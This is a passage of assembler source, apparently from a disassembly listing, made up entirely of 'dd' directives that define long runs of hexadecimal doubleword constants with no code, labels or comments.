46CB5D4Dh, 0DDFA0538h, 0DD4E93DDh dd 849F2E4Fh, 95CE792h, 453D570Eh, 5320935Eh, 806F3200h dd 100F2286h, 8F670D7Bh, 82308022h, 9D029A88h, 87AFA469h dd 0C3733231h, 69056FC4h, 7065B595h, 0F8BA44A2h, 5558900Bh dd 570CAC9Eh, 7B9D0EE7h, 0B74A7054h, 9E784EC3h, 0FF6663B4h dd 41C4594Ch, 792651F2h, 8DB4CB8Ah, 4FC9A691h, 927CAE73h dd 0DDE24C4Fh, 9037ED64h, 0C199810Ah, 380A0233h, 0E9196A6Ch dd 0C4FD84BFh, 4EA04965h, 379919C0h, 0C83A2F99h, 5B7C9DF9h dd 0C747BC42h, 7F815A4Dh, 49C0F013h, 0F83413D7h, 0A4E9F7BFh dd 6E86A3ADh, 0A6E59686h, 0BEFF49EDh, 3070BBFFh, 33425287h dd 41B048F5h, 6BBA7942h, 1191E3F9h, 329E529Fh, 89A299AFh dd 329C40FDh, 93A36D34h, 32C06A4Fh, 0D9F78148h, 19970026h dd 0C6CFB633h, 0C45265F7h, 520C4464h, 27054E9Ah, 0EBC5DB0Bh dd 957CEEEAh, 0FD0C0839h, 0CEC63528h, 3B87BA77h, 560D4237h dd 5F2586C7h, 38186FC4h, 354C7892h, 65A76EE6h, 0C99F8779h dd 0C077E433h, 68C3541Dh, 63D53767h, 0E8877C45h, 357B552Dh dd 0A35AAF4Bh, 0A5E27E11h, 841C9243h, 4151AE64h, 643B539Ch dd 0D1BB856Fh, 0F1BC3D2Bh, 0B20BB302h, 6C7969E3h, 3CAE74BAh dd 60B4416Ah, 0FDDED029h, 0BAAD644Fh, 1D33C7C7h, 3FDD0A21h dd 0D826C4D3h, 1D8B92C0h, 9C2BCD11h, 5FC439A9h, 0D8D9665Ah dd 0C235755Ch, 7CE5C093h, 80029A0Fh, 0D819C696h, 72B9E268h dd 60506F8Bh, 1E0651FDh, 0DB3A2475h, 0D56A7027h, 5B95FA46h dd 321EAA84h, 0B98486E7h, 0D43A8522h, 0C4370D3Bh, 0EE7A2DC7h dd 0F5A6292Ch, 83DC2D7Dh, 0C41F3231h, 25AB2AF5h, 0F048EAF8h dd 0D111748Eh, 0A37F2B0h, 1874047Ch, 92B8655Dh, 0AA81CF61h dd 99E8F3BFh, 0C50623C7h, 31ACA1D2h, 734BBC32h, 657D8D54h dd 893D0C25h, 0EAFF7B73h, 0AF837F8Bh, 68CD9F06h, 0C42128B3h dd 0ADFF7788h, 73088409h, 0B58E8C63h, 1C5D7540h, 7CF4B417h dd 61168A66h, 1BB2C3DCh, 0D1658C53h, 0F634264Ch, 0DC8345BBh dd 0A084F755h, 62DCF9E7h, 498034F9h, 72D3DD34h, 0D7CE27C5h dd 4AA686F5h, 0A012E86Dh, 0BEB08821h, 0A34F5584h, 435ACC6Dh dd 90A7F1D1h, 93223288h, 25E74505h, 221A5FC8h, 224CAD88h dd 218E5917h, 0C55A76A7h, 60550694h, 921345CFh, 0F7BE7434h dd 4999732Fh, 0D2BD6401h, 6A403F84h, 563390BFh, 0CDEA4B6Dh dd 0D3CE1EBFh, 0DCDB93Ah, 32310EA9h, 7F2AA6FFh, 62BD84E9h dd 0BADF3752h, 47A9D189h, 0B07890CDh, 0D3621FA4h, 1DCDD6C1h dd 0E9DC206Bh, 17340B7Dh, 11710A9Ah, 91521583h, 72C2F972h dd 983851D6h, 34A76703h, 767A3CA3h, 7FA37B71h, 14E65552h dd 0A3F883ADh, 0BED9BFC0h, 0E83D320Ah, 0BF76C52Ch, 0AEDBF116h dd 655CAADEh, 9F447AE5h, 0B0AE5DCAh, 113B1F9Ah, 1754E2A3h dd 57227D26h, 0A7160F14h, 0C7A5F4C8h, 0B3D4C978h, 579164DFh dd 90B91CA8h, 0ADAA6332h, 908E0324h, 0A303B621h, 30F710C4h dd 0BA5E0040h, 0B9ED0C27h, 0A09FE333h, 35AC7F13h, 0DDF2FA1Dh dd 33239FBh, 1654D330h, 0A7E12A84h, 9DB60F3Dh, 389D9F32h dd 929533D3h, 0FB9A6A73h, 0B9BF0432h, 1086227Dh, 0B517C0EAh dd 0AA07C3Ah, 80C77C3Fh, 0EAB7EB6Ch, 84DD3231h, 0BD3429E0h dd 84BD8CE6h, 37E2C2E1h, 0BA48F4A3h, 892AD50Ch, 4715DDDDh dd 96FAE13Ah, 7E0CBB26h, 92300310h, 0ACE0782Fh, 0FE4BDF3Ch dd 885707EFh, 4BA3B7FCh, 0DA61198h, 16440CD6h, 0B01A2DEAh dd 22EC74A1h, 32C3C4C8h, 614E1715h, 4A6EA627h, 62A21AF7h dd 0ADFC7261h, 9663160Ah, 0B720CEB1h, 234C7542h, 39403231h dd 4419265h, 7DDC1290h, 404F4A0Ch, 0B258CA6Ah, 0FD0074F2h dd 6228C648h, 0BA6192D3h, 3E1966F3h, 44FD2C2Dh, 6ACBA6E5h dd 0D04FFA4Eh, 0B8EB93C7h, 20DD38D6h, 9CF18D79h, 91487CCBh dd 6D79E11h, 1DF091h, 71955A69h, 0E3D4FA9Eh, 8D68C29h dd 63903B1Ch, 0B617E59Ch, 0F3E75970h, 9776A796h, 95C5577Fh dd 4DE16F4h, 0EE30B624h, 45BAC849h, 6C97415Dh, 89B5F9A5h dd 31238C50h, 0B8E44432h, 0ECD1A37Fh, 6254F94h, 539E44B5h dd 585E83BEh, 0C9B91C3Dh, 0F69EFC4Dh, 0CA3F2490h, 0B6A6A441h dd 8069E066h, 0B352749Ah, 0DC65F8Fh, 86E9C79Ah, 7C59B2CFh dd 0EE55285h, 84EA9029h, 0B977D25Eh, 3A229F4Eh, 0D5735D36h dd 31343231h, 9B3D8F32h, 5A2900ABh, 0C4125ACh, 57E67F48h dd 0DF2C7BC7h, 5A21D0D2h, 212CCB25h, 0A92455D9h, 10151E48h dd 0AF0C6412h, 0B81C0496h, 0D6DBCA29h, 0D8ACA147h, 0EBEC6A04h dd 9BA58E6h, 7E4805E9h, 634A337Eh, 565627B9h, 0FBC4E417h dd 97799E50h, 0CCF11024h, 7D40DB1Dh, 41B48EECh, 116B953Eh dd 7097111h, 3F5C9BB3h dd 0ADCF2C97h, 0C4DC1D81h, 0D9043B16h, 65F8B4DBh, 24963C00h dd 7D786AB9h, 903E9B57h, 62AFDF5Eh, 0B5721387h, 47C17418h dd 2A4FD83h, 8D61A674h, 0A90AA9FDh, 648D885Dh, 3A5F9D98h dd 359F33BFh, 855E9A52h, 7EFED3F4h, 9E158391h, 0B6FA72ADh dd 0C542FAF7h, 4DE89091h, 0BC46CADBh, 0B57A41CDh, 0E5D28666h dd 1F7BD5Dh, 70FE0A93h, 56A20AABh, 0BF2E4C53h, 0D1686033h dd 10DF5EDFh, 908B8C8Ah, 3041347h, 743892BCh, 8118189Ah dd 0E7932125h, 819D4214h, 7C3E54B6h, 9A516413h, 0B02CC101h dd 0ABF108Dh, 9072CDE5h, 65E8CEA1h, 7E4D78D0h, 0E4EB38A5h dd 0F802A0CAh, 0DF3FD80Ah, 234E6B1h, 8777B28Eh, 33EBCB08h dd 5686A3F6h, 7D306AB5h, 7446FD17h, 0F174F0FEh, 0F2B47B7h dd 0FBD3A3Dh, 0E22DBEBFh, 60629E8Fh, 21621867h, 30AB2E26h dd 514CCBA5h, 0AF40166Ah, 4C19D3FBh, 9CCA55D4h, 0DEE404F2h dd 618315E5h, 1F323145h, 0EDCEB31Fh, 9691F785h, 0DDAC3E57h dd 23F65670h, 334D2603h, 8E396C6Fh, 0D1DC899Ah, 3306DE68h dd 0D54A7252h, 0BD5DE4E4h, 60B72BFAh, 44654C39h, 0A434AB66h dd 189AB093h, 6725492Ch, 69DE356Dh, 786A544Ah, 0A5AF0155h dd 49A383Ah, 970F2881h, 3B5E4BACh, 0C0C39B0Dh, 13BDFBFCh dd 7229552Bh, 14593535h, 0B698D362h, 7AB5D589h, 6B612C5Ch dd 85B16C2Bh, 0FE385EEFh, 0AEBFA3FCh, 451D649Fh, 0A60B0601h dd 3B6B3F67h, 0C3FB092Eh, 17641E7Ah, 0BBE337C9h, 63984E18h dd 0D47BF1E4h, 6DAB037Ch, 0BDEF50BCh, 0BF244C38h, 9A323156h dd 30F95A5Ah, 0C23ED376h, 3D4F56D0h, 0A6DC1894h, 504B345Ch dd 3CC33231h, 49610A81h, 63D83289h, 3BCE143Bh, 75B5BA26h dd 0A963E040h, 50824C40h, 0C74D6FE7h, 30C271ACh, 22600AC0h dd 661A930Dh, 0C8DEA58h, 850F6CA1h, 523F30AFh, 39A9BE92h dd 0A0A129ABh, 510751ACh, 7C70076Dh, 0C646B1BAh, 0D90EC55Ah dd 42920C09h, 5E0CC191h, 2057F1BBh, 9219DC78h, 0BD91EDFFh dd 9359D373h, 1EB428EBh, 94D705Ch, 0F2F846D1h, 61BA9689h dd 0D3CCEFB3h, 81F970E1h, 24FF18E7h, 4D6918EAh, 0C4DE08ECh dd 0F3405B23h, 330BFDB7h, 9DDAAB73h, 7F14C684h, 0F7BACA3Ah dd 0CF71F5C1h, 0E77EF9E2h, 0B1D20F6Dh, 0EBBB482Ch, 0A2B627h dd 6944D4ECh, 8875F92Bh, 0FF6B1749h, 6769DBE1h, 4C91D352h dd 0D4A495C8h, 5B9B009Dh, 8BAFF958h, 889CB2F2h, 0F07E7FB0h dd 58E6D3D9h, 18E2EB78h, 62A68C99h, 845586FDh, 0AE7C4D82h dd 0D1919433h, 0B42A9585h, 9AA2D7A6h, 22B3254Bh, 514D211h dd 6727A9ECh, 0F22EF76Ch, 43463300h, 7B92635Bh, 379E12Bh dd 0C5FFD53Dh, 0C37E4FEDh, 57483003h, 8AD078FCh, 1CB9DDF1h dd 0B8BE8ABFh, 0B65A7E9Bh, 0E9740D5Ah, 0D3090A7h, 0F38CE930h dd 25D6AB8Dh, 7087A0Ch, 26635B49h, 0B78FFE7Dh, 0C2447FE3h dd 64CF49DCh, 82B8C5BDh, 6179355Eh, 0A7A0AC33h, 65038A08h dd 27ECAB44h, 7B03EFACh, 520E8489h, 9C085457h, 0E76A51DFh dd 6103B54Eh, 0D99BF27Ah, 0A343B138h, 2F1A2CCCh, 176F4AF1h dd 9DEA8898h, 0F389F709h, 5BE0CC91h, 99BFCBE9h, 6BC68348h dd 83393F81h, 6EDAA9DCh, 646D3561h, 0F129B94Bh, 4F3481DDh dd 951BE71Bh, 0DE002888h, 0F6BA7139h, 0B6B1089Eh, 96889FB9h dd 5BE93F2Ah, 0E0FCD526h, 7AA56AE7h, 93D951BAh, 0E08E20E8h dd 3D3FD0E6h, 8637F0B6h, 0D1999B61h, 70C4AA27h, 6669DAE8h dd 9B4223EEh, 2C143DF6h, 25C73B7Bh, 6DA34B72h, 7DD60BC8h dd 0CB54B4B2h, 9E7146AEh, 0A6B1A88Ah, 12B12AD4h, 82E3F5AEh dd 6A117044h, 6CB33BEh, 0EB659977h, 56C2085Ah, 570615A6h dd 2449D6BFh, 4F00CA45h, 759E0260h, 0E1EB5FA9h, 67B373B3h dd 0C03293B7h, 6F154DB1h, 0F25B3563h, 0E937F5AEh, 91E502A9h dd 5C1F601Ch, 0AB43BAA1h, 0C265D6F7h, 420B4E2Ah, 3B5C509Eh dd 970AF674h, 15C17030h, 0D57F47F6h, 0F1C3D6E4h, 0C2A618Ah dd 0E1F8C6D4h, 2B4F2A7Ah, 304EA050h, 1A26E7C9h, 0CB5E288h dd 0F6ADD7C2h, 0C5C6A082h, 31B082D7h, 18186B32h, 0F33A5D3Bh dd 11229912h, 93E7E3CFh, 8D21492Fh, 2E365770h, 41E881A6h dd 0F41F6819h, 3DE6EB69h, 0D167E258h, 756CB710h, 0D0E46907h dd 79D6121Ah, 0D51AD603h, 9CEBCAC6h, 0B64AA08Eh, 0AD4D10DCh dd 41BB3B2Fh, 0ABE6A7h, 3E4B306Dh, 72CC08CDh, 62F65E58h dd 89010566h, 0A38BE0D0h, 69273713h, 1FE5DBC7h, 0AAC6BBC8h dd 0D0FF382Fh, 73C0DD58h, 5568A3E3h, 918D6D13h, 0EF018418h dd 5893F0C5h, 214DAF71h, 85B0AB96h, 0BD3C8DBAh, 6E79C440h dd 890B54B1h, 173D870Ch, 152B1517h, 4CEC93DBh, 0B864C65Fh dd 0EBBEB1D5h, 7227B54Ch, 0E6ED1076h, 9D8C18A1h, 3D631FBBh dd 8C2CC64Eh, 7C32AF37h, 16E922AAh, 8F5E43Ch, 0EDDE6767h dd 5AF53290h, 1D66EE46h, 0C610840Eh, 0B258A19Eh, 0AAA4D9CAh dd 0B266DEDEh, 887645D9h, 4D6E53Dh, 20A37C69h, 0DC40392Fh dd 847B62DBh, 6FD1278Ch, 0A2582D3Dh, 34C4D530h, 7A5F9622h dd 0AD6514F3h, 0FAB012EAh, 8D3DC679h, 9BC1FAAFh, 0B42754A0h dd 0DD8E3C2Ah, 0F9BA40BCh, 8FCC82B8h, 0BC63AB0Ch, 14853B66h dd 7E6BFFBBh, 18B45821h, 0D635BE69h, 98378B74h, 9AEE78Fh dd 2716D4A5h, 17CC2321h, 34458F2Ah, 591BD54Ah, 0E1631455h dd 0B09682E3h, 24857063h, 0BB784737h, 9E07EF2Eh, 0F818CB90h dd 64F50AEDh, 52D9A91Ah, 0D46EA545h, 0DD75AA73h, 0E9E1A52h dd 63961C5Dh, 70E21CBAh, 0BC62E3A9h, 3C5008E9h, 397CF5D5h dd 0C2FCE281h, 0D71068CBh, 0F6D3FD98h, 43780899h, 25439D02h dd 0AE6B334h, 0C80030E7h, 66F1F0D2h, 22091AF3h, 534A6684h dd 8CED24FFh, 6644EB2Fh, 0E5DC82C5h, 23B83E88h, 89799D97h dd 496C661Ah, 0CCF1D272h, 0D6BB2CCAh, 0E54E4092h, 0A03A1B4Ch dd 0FC7FCCC3h, 1AABBBE3h, 10D73BCEh, 421110Eh, 0E2A81F8Fh dd 84B68565h, 2AF023E5h, 3399E575h, 1696243Fh, 41CA030Ah dd 0E545A9Ch, 0F370B02Fh, 63633DCFh, 0EF0E1481h, 6ED45CABh dd 0D8C6C102h, 0F254C78Fh, 22302228h, 47968B5Dh, 1546DC5h dd 0A8132940h, 195BF204h, 0A8B52D39h, 0DB3307CCh, 0E8E0F5F5h dd 0DBB7F44Bh, 50B54924h, 2EE2C717h, 8E88AC6Ah, 6391DEA8h dd 0B81B81AAh, 996020AAh, 0D4275526h, 21D0CD0Ah, 5506F554h dd 1861FDE4h, 1D2BE89h, 0CCDA7DC4h, 8C9BFC39h, 0A30C4B08h dd 83F1953Fh, 6C60ABA5h, 0C7BCDE74h, 4E469A25h, 39F47DEFh dd 0D7F3B198h, 2E8355C0h, 28816C2h, 82C9D3CCh, 470ECA61h dd 0CF810B42h, 4F243BDBh, 0C474B1F7h, 0C5F315C1h, 0F5D71F45h dd 8B7F1622h, 8E7F59EAh, 5A5AC61Dh, 0DAD361BAh, 32B31CD0h dd 7699A79Ah, 986C5566h, 7E823F65h, 342BC2CAh, 3EEE62FDh dd 44B45DB4h, 0CFCB46EFh, 5953E3BCh, 0A06CD0EBh, 0DD208F63h dd 7B2F5671h, 0D8E2E4C4h, 38F5534Fh, 39FBEC0Fh, 0E4F007CBh dd 69FBB587h, 0FA102201h, 5F6415D0h, 8D1DF463h, 0F06F067Ch dd 8540EBE7h, 9187074Eh, 1ED708ACh, 1C374042h, 9B60379h dd 3B1B253Ah, 0E780CCEFh, 0A598E904h, 0A63906FEh, 4A202F07h dd 0FD2B9D1Ah, 9A8B46FAh, 28E8E85Fh, 599C274Eh, 0DDA6920Eh dd 6F036761h, 80506748h, 8AF4D2BCh, 0C5B635A2h, 0F5E36479h dd 0C4CFAA0h, 7C6F78BFh, 5CC808A3h, 0F32D4E46h, 1437A172h dd 3FE3398Bh, 2816FCDFh dd 0EAB27BADh, 70E61F69h, 0FBDC0656h, 2877D903h, 133D1AEDh dd 2601CEF4h, 570683Ah, 0BFC939h, 0BAFB9456h, 114DB43h dd 740AE8D4h, 4E47567Ah, 0D9EAB1B0h, 0C85CBB97h, 8CC6BAh dd 0B95C7B66h, 0D7BF82E9h, 94B717BBh, 58CBAF65h, 4AD20AABh dd 0AF43D3FFh, 1316A0ACh, 1E866F5Bh, 9BE9730Dh, 9109B997h dd 0BF449061h, 5560C402h, 590F5E7Eh, 26705ED8h, 89D4ACD4h dd 0E9896BDDh, 1D9E48FCh, 78F425F8h, 0FB19BA4Eh, 0FE2F3EC8h dd 0FBBD9F34h, 0C2328049h, 2730314h, 9AA1D8EFh, 8EF84374h dd 6347869Dh, 2EEC931Bh, 3932748Dh, 1E73BF03h, 64D29534h dd 57933786h, 0B837770Dh, 54AA5C73h, 0DE20C72Ah, 918CBBF2h dd 35DA28EBh, 425A15ADh, 0D26AB9B4h, 0EFAB0Bh, 756EEB1Fh dd 5A27743Ch, 2E70096h, 9790E22Bh, 1384A2DCh, 0ECE27D48h dd 3A57C6B9h, 0E988E896h, 46F83D42h, 66529C1Fh, 0C7F520AAh dd 75517514h, 0F0B43A67h, 1571DCC1h, 52DEEC30h, 68918C04h dd 0E743DCA9h, 836DFCDBh, 771B74C3h, 41465BA9h, 4C33469Ch dd 7044C2F4h, 63B6A707h, 32316555h, 9FBB984Ah, 9516D19Fh dd 362356BFh, 0B3E81962h, 0E4A34461h, 0B5BE5994h, 3845B39Ch dd 9C33E3DCh, 1FCA691Dh, 0D70297F0h, 8ADDBBD6h, 0C4CDD1A0h dd 0FBE2F341h, 424F7F7h, 0C1B5FD53h, 0ABFC4847h, 2AD95F3Bh dd 763A7880h, 9204A96Ch, 826E399h, 55ECB8D4h, 62FF9A69h dd 42D3BFF6h, 5E7B73EBh, 0AFDD0F45h, 3FDEEC1Eh, 95A86D20h dd 0B93E21E4h, 2142DD0h, 72CBA55Ch, 62BC9594h, 86336373h dd 0E61EAA3Bh, 0E3BB6727h, 9EDE1691h, 841518D9h, 0E31418E4h dd 86364D7Eh, 0E0AB5666h, 8A8E6D58h, 0B459128Ch, 3B7E63A1h dd 2DCE856Ah, 7865925h, 40348E0Ch, 84ECCF00h, 4E0866F4h dd 18355BA3h, 0EF9C205Bh, 5A4B5FE0h, 0D6F92DE5h, 0FAE5C264h dd 83D2679Dh, 869D578Bh, 0D05BA85Bh, 0D4387CF5h, 14933314h dd 0F3125FBBh, 38D7CB33h, 3F1B155Bh, 0F057D6F3h, 868B9F68h dd 22519D49h, 3A808C1Ch, 0A7E80403h, 0AA3393E8h, 0D8F27FAAh dd 0B0E5943Ah, 0B8257D33h, 0B40DE535h, 0F9F12A59h, 0FA8B9D11h dd 1DD9CDBBh, 250A225Ch, 37737AE4h, 11ED21Eh, 6372DFE5h dd 0F93A9CA0h, 6178ECF4h, 0F37A99DEh, 0D8A0D4DBh, 0DBF02145h dd 6F5D80C1h, 0A3FC6798h, 0E55DF37Fh, 0E220C8FEh, 7AAFFA3Dh dd 0C6395BACh, 57237E91h, 9D13238Ch, 491DD2B9h, 2D5F6DBBh dd 5013E2AAh, 0B2E5343h, 947285B6h, 76E83F13h, 81A2B04Ah dd 0F545268Fh, 945E8C3Ah, 642A958Dh, 0EA010C59h, 9D80A60Bh dd 209D0E66h, 91D9091Fh, 4213EDBh, 29E87CCEh, 821C3E68h dd 0D00BBA02h, 0C04CB23Bh, 0C8F5C73Fh, 0DE968E53h, 0C1CFA49Fh dd 0D116269Fh, 4DD4B5BDh, 0FFB65B37h, 0DE41D2BBh, 8D6B17A4h dd 182FFCCh, 0FEC36DBBh, 4B5FA5DAh, 0C3192CB2h, 0BA99B884h dd 5F4E99CAh, 36FDCED6h, 5EFDA11h, 70E79BC3h, 0C8902B4Ah dd 41A8EBDAh, 0D345E8A9h, 78ADAFB3h, 7F1CC3DFh, 0A802B44Ah dd 0F25F60A7h, 0CC6A2ABDh, 0E683017Fh, 332A820Ch, 0FDF9C2AFh dd 0FA172350h, 221D4071h, 364B525Bh, 0E50B0D23h, 7BC594A9h dd 347B8766h, 33234C0Bh, 624E3F65h, 89BDA6DBh, 4172D3B0h dd 7796079Bh, 0CD627930h, 9E72F5Eh, 7FA6D018h, 986BAF51h dd 0C4A7D9C5h, 0D4206075h, 56CBFDF3h, 4E28220Ch, 56E9BC8Bh dd 41021E41h, 6BEC21DCh, 42DB54B9h, 31298852h, 0E29F2632h dd 413AFFA3h, 0C6B3394Dh, 3F45B139h, 6A383F4Bh, 4BEB76ACh dd 0CAC6D35Eh, 0C59A6048h, 0D1D89A56h, 750FF611h, 52157FD7h dd 0D16849CBh, 0A7EE90A5h, 0C9F8ABD4h, 93A772F5h, 0A8EEAFCEh dd 0E7F78978h, 37D6E0E3h, 0C0071E15h, 0A0D573ECh, 11209A90h dd 2493C164h, 0DF2814A2h, 4CF0ACB0h, 3FE913E1h, 591928DFh dd 0D9325712h, 92C6C5ADh, 984878AAh, 2A411DF2h, 851B8CBDh dd 35F89208h, 4DB9C0C0h, 0B1E122E5h, 90A547DEh, 0DDA86AB0h dd 0BE6A1F41h, 0D726AACh, 0C32B892Dh, 0B9700C1Ah, 0AF888388h dd 0C4C101F5h, 0B4C14974h, 8CB99CD2h, 0C4EDB720h, 79F6BA26h dd 8D5940A2h, 0A52CE6C7h, 2610F3D0h, 0E6B6A45Ch, 51AB0150h dd 2FED1A3Fh, 8483D5C7h, 8AC35A7Eh, 74601387h, 2BD18DB2h dd 0B0467E4Eh, 7C61F01h, 8CFBE788h, 0ADA68CBAh, 0B871A6D6h dd 1220F9F5h, 2887FBECh, 12FDA06Bh, 2A6C7601h, 0E0E00B5Eh dd 0BF020A7Fh, 8CBCD8D5h, 0B63F5E3Ah, 0BF692F90h, 69C10CE3h dd 39392822h, 2E0AA9A4h, 54EAF92Bh, 7DAF0806h, 0E275AF90h dd 0BC5FEE40h, 9186836Dh, 1C79C574h, 0B01C1830h, 0B44F5145h dd 9D4A20Bh, 85859108h, 0BDD8E7BCh, 0FAB3E147h, 2AF6BB8Ah dd 81F1F743h, 0FB7FED80h, 510EA5D3h, 179D4185h, 5EE49AFAh dd 0EF30383h, 0CB9B74EBh, 0FD68AD9Ah, 0A51CDAFDh, 15394A57h dd 0C04E1DA9h, 91EC39F7h, 0F43D2F04h, 0A866BDCDh, 119112FCh dd 131CD3FFh, 0E8F5E10Ch, 9B1D4D7Ch, 0F15339EAh, 63180933h dd 0B57909E8h, 11EC2EB1h, 0FD14FC16h, 0C04A19CFh, 0E06DDAA8h dd 0B9D5722Ah, 36F85449h, 0D3D84AE4h, 56152BD0h, 4D5545FFh dd 7053E782h, 6D7E833Ah, 2A105A11h, 47AA748Ah, 0E1742F5h dd 3B8D6F46h, 2DC48B0h, 10EA63C2h, 0DB3E8FEEh, 2F06DD12h dd 0C54275A5h, 3AB4435Fh, 4DB0DFFEh, 1CD576C4h, 44F8338Ch dd 8F1B7D14h, 0DCEDA284h, 97FAA6D1h, 561CC718h, 0E9973400h dd 0A1F5F6AAh, 0EC9A56D8h, 59619987h, 0C5EAC6B7h, 7E565403h dd 7C4400C7h, 540F4885h, 1CBF1369h, 42473C39h, 31CA8A6Eh dd 0B60D8032h, 60955B4Ah, 401D9D2Ch, 1DDEA5Eh, 6EAE59B4h dd 7632CE5Ch, 656B7DF2h, 3BB8E727h, 77F83F66h, 0AF5A6572h dd 51630598h, 13156B0Ah, 0C355DF2Dh, 0AEE6FA65h, 0FF397BC3h dd 1974C251h, 0D9089608h, 0EF979A6Fh, 0EAE7CEEDh, 6186F5C7h dd 7BDF2FE2h, 7535CD07h, 80D71235h, 6C93455h, 0B44B4EDDh dd 96D905ACh, 0A4D9F86Fh, 161E1269h, 2AAB1892h, 326ACE64h dd 7C1C580Dh, 0FA534245h, 860D44DAh, 18F0C2Bh, 0E1B5D7FEh dd 6B259772h, 91BEE257h, 0FC5B98B2h, 7A031607h, 0B1B29465h dd 267186A9h, 1620D617h, 0AA3556C9h, 0B299076h, 0C30C2DBAh dd 52D7505Dh, 7367820Ah, 0B8874DD8h, 66CADC6h, 0AAC6A16h dd 90533D59h, 89EB655Fh, 2FE0145h, 17F34D7Ah, 0C7D91FA0h dd 0F2C62C04h, 0DE179DBh, 2AA3B4D0h, 33CCEE6Ch, 156374A6h dd 51406A83h, 2C45A50Ch, 0B5AA9A83h, 4962258Fh, 4DBCA32Eh dd 0D6BFF568h, 37AFEAEFh, 5D1534F1h, 0C6EAC5D6h, 0BE69A386h dd 9D730DADh, 49CE8DD9h, 0F8BA4056h, 43D4AAE5h, 72CD773Bh dd 7CF2C957h, 469AB8FAh, 0CC6871BFh, 0F94FD109h, 3459330Dh dd 0EF08CB7h, 4E04FB2h, 0F4401B60h, 234EBA65h, 0E67A2BDDh dd 42615452h, 0E1C3692Bh, 5E8B6BCEh, 9151049Ah, 0CB242E0Bh dd 3231ECEAh, 87437B7Ch, 0BEF47F8Dh, 8DB453CBh, 6FFDA440h dd 92CD3865h, 1DD11047h, 2834E4A9h, 0B12FEBF3h, 0EA51F92Ah dd 5E191250h, 8853248Ah, 0D13F2E24h, 0E041E57Bh, 0AF437C68h dd 11D166F5h, 1C55E74Eh, 3DD2A35Eh, 60234701h, 72FA4CD0h dd 50FF0DEBh, 3025EB1Dh, 98E3F8A1h, 9E5A11FFh, 53F81BF0h dd 541012E6h, 0AFCE02Dh, 0BC42ECA0h, 857004F3h, 3DD7D7B4h dd 1B9EB86Fh, 2AC10341h, 0AAE99D4Ch, 6E6223D4h, 2FD34B47h dd 2AFDB3ACh, 1D4D91B9h dd 967584DFh, 6030760Ch, 0B6DB85D4h, 0F0EDA66Eh, 0E3103EF4h dd 740ECA1Fh, 0A9B89EFCh, 86445DD3h, 0B1EE0FFBh, 3D8CA0F9h dd 9F525E2Bh, 0FC6E6109h, 64E6FC30h, 95A8B759h, 33FF1760h dd 70A9DDBDh, 7556AA4Eh, 0C99BB84Fh, 0D0422F0Fh, 0D406242Fh dd 74566D64h, 5FEB2759h, 998836ECh, 39F8CE0Ah, 0D7A4B0F9h dd 6BCC8379h, 206130BAh, 0B4C7DA5Ch, 0BF9C26C9h, 3A6EB6DBh dd 276BBD12h, 675A55B5h, 6ED7DE7Eh, 7D0DE292h, 0A607FCBh dd 496F78FDh, 7D501D32h, 0F189AD35h, 5B5C850h, 0A3A7EAh dd 78522AA9h, 0D2EC39Dh, 9BDDC57h, 2FCD62CEh, 0D1C78376h dd 51505B5Ah, 38A04C2Ah, 9A0A658Ch, 85EB18A5h, 98EFD62Dh dd 0C994454Fh, 2690BEC4h, 2C9E944Eh, 2926B65h, 34D3FF40h dd 3A883ABBh, 0DA749F0Ch, 739BF0C3h, 0AE893668h, 4573BF9Fh dd 0D68A18FEh, 13E749A5h, 2FAE5486h, 8D075D64h, 0F76A2CF9h dd 0BF7878BEh, 0B9BEC5DEh, 764F1E1Eh, 0D19574C3h, 0E02F2AB7h dd 183624BBh, 0FFC00CF8h, 9FD4C89Eh, 0C00595FBh, 0E2B0E63Fh dd 0A20E1C07h, 3231144Ch, 2734A192h, 0D8738FAFh, 9D548179h dd 0BCE57A6Bh, 53675A02h, 0E141A9F0h, 3BBCC56Ch, 66B6AD03h dd 6133440Ch, 0DEB24B4Fh, 0DC514F6Fh, 60C0BA18h, 86B380B4h dd 40218CFAh, 76B6BBDDh, 3467AEDFh, 0C91AD13Ch, 7918C89h dd 3C6BCD20h, 6109B45Eh, 9184A638h, 69781C67h, 84A879Bh dd 0C4AE85E7h, 0F6609704h, 4C3DCEB9h, 12C03A6Fh, 81AA042Dh dd 0AEBAB059h, 95AB7293h, 3788A908h, 0B9A12144h, 0CAE3E9D8h dd 846814EBh, 1B6986A9h, 9926ED3Ch, 72AA2B28h, 7A3EE96Bh dd 19400800h, 72F2BACh, 0C8E69B16h, 0A88A6A44h, 681F9007h dd 0A044CFD7h, 0AC256849h, 5A812B2Eh, 2F183AFCh, 0A514C605h dd 0D38CFEF7h, 0E0D9890Ah, 92306D12h, 0A4F04950h, 0A3457998h dd 7873234Dh, 6C177A59h, 0DF40CBCFh, 492EA1F5h, 0EE9B2C52h dd 399A89CCh, 0C5CF1C5Ch, 0AC5198BEh, 0F866087Dh, 83EA1810h dd 9EB8D9C7h, 0CE18B776h, 5D394D34h, 0FFECB5AFh, 5DBFBA26h dd 1E6D73BCh, 4F140243h, 4D5A39A2h, 7818F9DDh, 0DA7E2E92h dd 3704DB53h, 3CCD7911h, 5CD8C710h, 0EB601A50h, 0C37E9A7Fh dd 6DBCB17Bh, 0CF40950Fh, 1C2D81D0h, 7D475051h, 20138F4Eh dd 0F227F2BDh, 52F4A8E2h, 0D08116BAh, 0DFDD518Ah, 0EE6C85EDh dd 0C95AD4D4h, 2DA87DEFh, 7C27CB04h, 0F6B205ECh, 0E3EB39B8h dd 9E20DB7Ah, 0B551F08Dh, 0BE45CF22h, 0A94D8158h, 38D8965Ah dd 0E35CE2D6h, 5F5DC454h, 15AE0A9Ch, 6EF088E4h, 91F14ED1h dd 0E2C9360Fh, 25780646h, 1E86EFF7h, 5A3B1409h, 0F4FC64C7h dd 97ABD63Ch, 0C0097778h, 489928F4h, 0C96D88B3h, 235497EFh dd 0AAC6844Ah, 502219ECh, 0A3345680h, 1BEDD9CBh, 0C88F3C8Eh dd 8367AEFBh, 6484B7E8h, 397C1EE0h, 0A0FEF471h, 54CFFBABh dd 591E2D98h, 326DE253h, 0AA21364Eh, 5A59BD72h, 0A38DFCF6h dd 5EFEEB6Bh, 4D2FD3A9h, 0F0E4C005h, 0E3A0C551h, 3ED51134h dd 0E07D752Eh, 2A0BB179h, 0EB3C6CD6h, 0FD91C6A1h, 52B3C7Bh dd 66BC0DD4h, 0A2DD8239h, 682EEE01h, 5D1E7909h, 444A78Ch dd 0B01B01A4h, 0D7A3A3CCh, 12399005h, 0F48FBBD2h, 7FB39DE7h dd 8C629E8Ch, 9BCD3622h, 0B1477A59h, 9B701FADh, 0CC23B257h dd 